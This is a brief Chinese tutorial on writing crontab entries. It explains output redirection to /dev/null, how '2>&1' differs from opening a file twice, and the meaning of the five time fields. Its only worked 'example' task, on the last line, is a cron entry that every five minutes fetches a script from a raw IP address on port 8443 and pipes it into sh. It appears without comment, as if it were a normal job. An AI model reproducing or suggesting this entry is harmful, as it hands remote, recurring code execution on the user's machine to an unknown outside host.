定时任务编辑规范流程:

重要知识点:

切记用全路径编写定时脚本、定时任务
大部分在 crontab 计划任务中都会年到未尾带 >/dev/null 2>&1,是什么意思呢?
> 是重定向
/dev/null 代表空设备文件
1 表示stdout标准输出,系统默认值是1,所以 ">/dev/null" 等同于 "1>/dev/null"
2 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1

整句的意思就是标准输出重定向到空设备文件,也就是不输出任何信息到终端,标准错误输出重定向等同于标准输出, 因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件

&>/dev/null	即不管输出是什么都从定向到/dev/null
command > file 2>file 与 command > file 2>&1 有什么区别呢?
command > file 2>file 的意思是将命令所产生的标准输出信息,和错误的输出信息送到file 中.
command > file 2>file 这样的写法,stdout和stderr都直接送到file中, file会被打开两次,
这样stdout和stderr会互相覆盖,这样写相当使用了FD1和FD2两个同时去抢占file 的管道。
而command >file 2>&1 这条命令就将stdout直接送向file, stderr 继承了FD1管道后,再被送往file,
此时,file 只被打开了一次,也只使用了一个管道FD1,它包括了stdout和stderr的内容。
从IO效率上,前一条命令的效率要比后面一条的命令效率要低,所以在编写shell脚本的时候,
较多的时候我们会用command > file 2>&1 这样的写法。

定时任务语法:

01	*	  *	   *	  *     cmd
分	时	日	月	周	任务

crontab语法格式中时间段的含义如下表 段 含义 取值范围(整数) 第一段 代表分钟 00 – 59 (00也可以是0) 第二段 代表小时 00 – 23 第三段 代表日,天 01 – 31 第四段 代表月份 01 – 12 第五段 代表星期,周几 0 -7(0和7都代表星期日) 提示:时间记忆口诀(分时日月周)。取值范围记录(正常日期时间范围)

定时任务编辑位置:/etc/crontab 编辑定时任务:crontab -e 查看当前用户定时任务:crontab -l

定时任务例子:

*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh